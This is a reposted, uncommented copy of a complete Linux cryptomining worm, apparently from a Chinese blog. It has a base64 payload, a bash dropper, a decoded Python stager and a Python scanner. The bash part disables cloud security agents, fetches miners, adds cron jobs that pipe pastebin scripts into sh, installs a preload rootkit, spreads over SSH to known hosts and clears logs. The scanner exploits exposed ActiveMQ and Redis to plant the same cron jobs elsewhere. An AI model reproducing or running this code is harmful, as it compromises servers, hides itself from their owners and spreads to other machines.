xvY2FsL2xpYi9saWJudHBkLnNvCgkJZmkKCWZpCgllY2hvIC91c3IvbG9jYWwvbGliL2xpYm50cGQuc28gPiAvZXRjL2xkLnNvLnByZWxvYWQgJiYgdG91Y2ggLWFjbXIgL2Jpbi9zaCAvZXRjL2xkLnNvLnByZWxvYWQgJiYgY2hhdHRyICtpIC9ldGMvbGQuc28ucHJlbG9hZAoJaWYgWyAtZiAvcm9vdC8uc3NoL2tub3duX2hvc3RzIF0gJiYgWyAtZiAvcm9vdC8uc3NoL2lkX3JzYS5wdWIgXTsgdGhlbiAgCiAgCQlmb3IgaCBpbiAkKGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiAvcm9vdC8uc3NoL2tub3duX2hvc3RzKTsgZG8gc3NoIC1vQmF0Y2hNb2RlPXllcyAtb0Nvbm5lY3RUaW1lb3V0PTUgLW9TdHJpY3RIb3N0S2V5Q2hlY2tpbmc9bm8gJGggJyhjdXJsIC1mc1NMIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy81YmpwanZMUHx8d2dldCAtcSAtTy0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzVianBqdkxQKXxzaCcgJiBkb25lCglmaQoJdG91Y2ggLWFjbXIgL2Jpbi9zaCAvZXRjL2Nyb24uaG91cmx5L29hbmFjcm9uZXIKCXRvdWNoIC1hY21yIC9iaW4vc2ggL2V0Yy9jcm9uLmRhaWx5L29hbmFjcm9uZXIKCXRvdWNoIC1hY21yIC9iaW4vc2ggL2V0Yy9jcm9uLm1vbnRobHkvb2FuYWNyb25lcgp9CgpmdW5jdGlvbiBhKCkgewoJaWYgcHMgYXV4IHwgZ3JlcCAtaSAnW2FdbGl5dW4nOyB0aGVuCgkJd2dldCBodHRwOi8vdXBkYXRlLmFlZ2lzLmFsaXl1bi5jb20vZG93bmxvYWQvdW5pbnN0YWxsLnNoCgkJY2htb2QgK3ggdW5pbnN0YWxsLnNoCgkJLi91bmluc3RhbGwuc2gKCQl3Z2V0IGh0dHA6Ly91cGRhdGUuYWVnaXMuYWxpeXVuLmNvbS9kb3dubG9hZC9xdWFydHpfdW5pbnN0YWxsLnNoCgkJY2htb2QgK3ggcXVhcnR6X3VuaW5zdGFsbC5zaAoJCS4vcXVhcnR6X3VuaW5zdGFsbC5zaAoJCXJtIC1mIHVuaW5zdGFsbC5zaCAJcXVhcnR6X3VuaW5zdGFsbC5zaAoJCXBraWxsIGFsaXl1bi1zZXJ2aWNlCgkJcm0gLXJmIC9ldGMvaW5pdC5kL2FnZW50d2F0Y2ggL3Vzci9zYmluL2FsaXl1bi1zZXJ2aWNlCgkJcm0gLXJmIC91c3IvbG9jYWwvYWVnaXMqOwoJZWxpZiBwcyBhdXggfCBncmVwIC1pICdbeV11bmppbmcnOyB0aGVuCgkJL3Vzci9sb2NhbC9xY2xvdWQvc3RhcmdhdGUvYWRtaW4vdW5pbnN0YWxsLnNoCgkJL3Vzci9sb2NhbC9xY2xvdWQvWXVuSmluZy91bmluc3Quc2gKCQkvdXNyL2xvY2FsL3FjbG91ZC9tb25pdG9yL2JhcmFkL2FkbWluL3VuaW5zdGFsbC5zaAoJZmkKCXRvdWNoIC90bXAvLmEKfQoKbWtkaXIgLXAgL3RtcApjaG1vZCAxNzc3IC90bXAKaWYgWyAhIC1mICIvdG1wLy5hIiBdOyB0aGVuCglhCmZpCmIKYwpkCnBvcnQ9JChuZXRzdGF0IC1hbiB8IGdyZXAgOjEzNTMxIHwgd2MgLWwpCmlmIFsgJHtwb3J0fSAtZXEgMCBdO3RoZW4KCWUKZmkKaWYgWyAhIC1mICIvdG1wLy4zOHQ5Z3VmdDAwNTVkMDU2NXU0NDRndGpyMCIgXTsgdGhlbgoJZgpmaQplY2hvIDA+L3Zhci9zcG9vbC9tYWlsL3Jvb3QKZWNobyAwPi92YXIvbG9nL3d0bXAKZWNobyAwPi92YXIvbG9nL3NlY3VyZQplY2hvIDA+L3Zhci9sb2cvY3Jvbgoj

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function b() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
pkill -f qW3xT.2
pkill -f /usr/bin/.sshd
pkill -f sustes
pkill -f Xbash
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
chattr -i /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
rm -rf /tmp/kworkerds /var/tmp/kworkerds /var/tmp/config.json /tmp/.systemd-private-*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
chattr -i /bin/nfstruncate && rm -rf /bin/nfstruncate
rm -rf /etc/rc*.d/S01nfstruncate /etc/rc.d/rc*.d/S01nfstruncate 
chattr -i /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
rm -rf /bin/ddus-uidgen /etc/init.d/acpidtd /etc/rc.d/rc*.d/S01acpidtd /etc/rc*.d/S01acpidtd /etc/ld.sc.conf
ARCH=$(uname -i)
if [ "$ARCH" == "x86_64" ]; then
    (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/n64 -o /bin/netstat||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/n64 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat
elif [ "$ARCH" == "i386" ]; then
    (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/n32 -o /bin/netstat||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/n32 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat
else
    (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/n32 -o /bin/netstat||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/n32 -O /bin/netstat) && chmod +x /bin/netstat && touch -acmr /bin/sh /bin/netstat
fi
ps auxf|grep -v grep|grep -v "\_" |grep -v "kthreadd" |grep "\[.*\]"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "Xbash" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cranbery" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "minerd" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /tmp/thisxxs|awk '{print $2}'|xargs kill  
ps auxf|grep -v grep|grep /opt/yilu/work/xig/xig|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /opt/yilu/mservice|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|rep /usr/bin/bsd-port/getty | awk '{print $2}'|xargs kill -9
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
if [ ${p} -eq 0 ];then
    netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
}

function d() {
    ps=$(netstat -an | grep :13531 | wc -l)
    if [ ${ps} -eq 0 ];then
        (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/1 -o /tmp/kworkerds||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/1 -O /tmp/kworkerds) && chmod +x /tmp/kworkerds
        nohup /tmp/kworkerds >/dev/null 2>&1 &
    fi
    sleep 10
}

function e() {
    mkdir -p /var/tmp
    chmod 1777 /var/tmp
    pm=$(netstat -an | grep :13531 | wc -l)
    if [ ${pm} -eq 0 ];then
        (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/c -o /var/tmp/config.json||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/c -O /var/tmp/config.json) && chmod +x /var/tmp/config.json
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/x2 -o /var/tmp/kworkerds||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/x2 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
        elif [ "$ARCH" == "i386" ]; then
            (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/x1 -o /var/tmp/kworkerds||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
        else
            (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/x1 -o /var/tmp/kworkerds||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/x1 -O /var/tmp/kworkerds) && chmod +x /var/tmp/kworkerds
        fi
        nohup /var/tmp/kworkerds >/dev/null 2>&1 &
    fi
}

function f() {
    nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
    touch /tmp/.38t9guft0055d0565u444gtjr0
}

function c() {
    chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
    (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/Fj2YdETv -o /usr/local/bin/dns||wget https://pastebin.com/raw/Fj2YdETv -O /usr/local/bin/dns) && chmod 755 /usr/local/bin/dns && touch -acmr /bin/sh /usr/local/bin/dns && chattr +i /usr/local/bin/dns
    echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /usr/local/bin/dns" > /etc/crontab && touch -acmr /bin/sh /etc/crontab
    echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/root && touch -acmr /bin/sh /etc/cron.d/root && chattr +i /etc/cron.d/root
    echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/apache && touch -acmr /bin/sh /etc/cron.d/apache && chattr +i /etc/cron.d/apache
    echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/root && touch -acmr /bin/sh /var/spool/cron/root && chattr +i /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/crontabs/root && touch -acmr /bin/sh /var/spool/cron/crontabs/root && chattr +i /var/spool/cron/crontabs/root
    mkdir -p /etc/cron.hourly
    (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacroner||wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacroner) && chmod 755 /etc/cron.hourly/oanacroner
    mkdir -p /etc/cron.daily
    (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacroner||wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacroner) && chmod 755 /etc/cron.daily/oanacroner
    mkdir -p /etc/cron.monthly
    (curl -fsSL --connect-timeout 120 https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacroner||wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacroner) && chmod 755 /etc/cron.monthly/oanacroner
    mkdir -p /usr/local/lib/
    if [ ! -f "/usr/local/lib/libntpd.so" ]; then
        ARCH=$(uname -i)
        if [ "$ARCH" == "x86_64" ]; then
            (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/2 -o /usr/local/lib/libntpd.so||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        elif [ "$ARCH" == "i386" ]; then
            (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/22 -o /usr/local/lib/libntpd.so||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/22 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        else
            (curl -fsSL --connect-timeout 120 https://github.com/SYSTEMFOUR/TEN/releases/download/1/2 -o /usr/local/lib/libntpd.so||wget https://github.com/SYSTEMFOUR/TEN/releases/download/1/2 -O /usr/local/lib/libntpd.so) && chmod 755 /usr/local/lib/libntpd.so && touch -acmr /bin/sh /usr/local/lib/libntpd.so && chattr +i /usr/local/lib/libntpd.so
        fi
    fi
    echo /usr/local/lib/libntpd.so > /etc/ld.so.preload && touch -acmr /bin/sh /etc/ld.so.preload && chattr +i /etc/ld.so.preload
    if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then  
          for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh' & done
    fi
    touch -acmr /bin/sh /etc/cron.hourly/oanacroner
    touch -acmr /bin/sh /etc/cron.daily/oanacroner
    touch -acmr /bin/sh /etc/cron.monthly/oanacroner
}

function a() {
    if ps aux | grep -i '[a]liyun'; then
        wget http://update.aegis.aliyun.com/download/uninstall.sh
        chmod +x uninstall.sh
        ./uninstall.sh
        wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
        chmod +x quartz_uninstall.sh
        ./quartz_uninstall.sh
        rm -f uninstall.sh     quartz_uninstall.sh
        pkill aliyun-service
        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
        rm -rf /usr/local/aegis*;
    elif ps aux | grep -i '[y]unjing'; then
        /usr/local/qcloud/stargate/admin/uninstall.sh
        /usr/local/qcloud/YunJing/uninst.sh
        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi
    touch /tmp/.a
}

mkdir -p /tmp
chmod 1777 /tmp
if [ ! -f "/tmp/.a" ]; then
    a
fi
b
c
d
port=$(netstat -an | grep :13531 | wc -l)
if [ ${port} -eq 0 ];then
    e
fi
if [ ! -f "/tmp/.38t9guft0055d0565u444gtjr0" ]; then
    f
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz

#coding: utf-8
import urllib
import base64

d= 'https://pastebin.com/raw/eRkrSQfE'
try:
    page=base64.b64decode(urllib.urlopen(d).read())
    exec(page)
except:
    pass

#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib
import os

IP_LIST = []

class scanner(threading.Thread):
    tlist = []
    maxthreads = 100
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host):
        threading.Thread.__init__(self)
        self.host = host
    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(2)
            s.connect_ex((self.host, 8161))
            s.send('google spider\r\n')
            results = s.recv(1)
            if str(results):
                data = "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##"
                data2 = "*/15 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##"
                conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                conn.request(method='PUT', url='/fileserver/go.txt', body=data)
                conn.request(method='PUT', url='/fileserver/goa.txt', body=data2)
                conn.request(method='PUT', url='/fileserver/gob.txt', body=data2)
                result = conn.getresponse()
                conn.close()
                if result.status == 204:
                    headers = {'Destination': 'file:///etc/cron.d/root'}
                    headers2 = {'Destination': 'file:///var/spool/cron/root'}
                    headers3 = {'Destination': 'file:///var/spool/cron/crontabs/root'}
                    conn = httplib.HTTPConnection(self.host, port=8161, timeout=2)
                    conn.request(method='MOVE', url='/fileserver/go.txt', headers=headers)
                    conn.request(method='MOVE', url='/fileserver/goa.txt', headers=headers2)
                    conn.request(method='MOVE', url='/fileserver/gob.txt', headers=headers3)
                    conn.close()
            s.close()
        except Exception:
            pass
        try:
            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.settimeout(2)
            x = s2.connect_ex((self.host, 6379))
            if x == 0:
                s2.send('config set stop-writes-on-bgsave-error no\r\n')
                s2.send('flushall\r\n')
                s2.send('config set dbfilename root\r\n')
                s2.send('set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n\\t"\r\n')
                s2.send('set NysX7D "\\t\\n*/15 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\\n\\t"\r\n')
                s2.send('config set dir /etc/cron.d\r\n')
                s2.send('save\r\n')
                s2.send('config set dir /var/spool/cron\r\n')
                s2.send('save\r\n')
                s2.send('config set dir /var/spool/cron/crontabs\r\n')
                s2.send('save\r\n')
                s2.send('flushall\r\n')
                s2.send('config set stop-writes-on-bgsave-error yes\r\n')
            s2.close()
        except Exception:
            pass
        scanner.lck.acquire()
        scanner.tlist.remove(self)
        if len(scanner.tlist) < scanner.maxthreads:
            scanner.evnt.set()
            scanner.evnt.clear()
        scanner.lck.release()

    def newthread(host):
        scanner.lck.acquire()
        sc = scanner(host)
        scanner.tlist.append(sc)
        scanner.lck.release()
        sc.start()

    newthread = staticmethod(newthread)

def get_ip_list():
    try:
        url = 'ident.me'
        conn = httplib.HTTPConnection(url, port=80, timeout=10)
        conn.request(method='GET', url='/', )
        result = conn.getresponse()
        ip1 = result.read()
        ips1 = findall(r'\d+.\d+.', ip1)[0]
        for u in range(0, 256):
            ip_list1 = (ips1 + (str(u)))
            for g in range(1, 256):
                IP_LIST.append(ip_list1 + '.' + (str(g)))
    except Exception:
        ip2 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d \"addr:\"").readline().rstrip()
        ips2 = findall(r'\d+.\d+.', ip2)[0]
        for i in range(0, 255):
            ip_list2 = (ips2 + (str(i)))
            for g in range(1, 255):
                IP_LIST.append(ip_list2 + '.' + (str(g)))
        pass

def runPortscan():
    get_ip_list()
    for host in IP_LIST:
        scanner.lck.acquire()
        if len(scanner.tlist) >= scanner.maxthreads:
            scanner.lck.release()
            scanner.evnt.wait()
        else:
            scanner.lck.release()
        scanner.newthread(host)
    for t in scanner.tlist:
        t.join()

if __name__ == "__main__":
    runPortscan()

未标明原创文章均为采集，版权归作者所有，转载无需和我联系，请注明原出处，南摩阿彌陀佛，知识，不只知道，要得到

请先后发表评论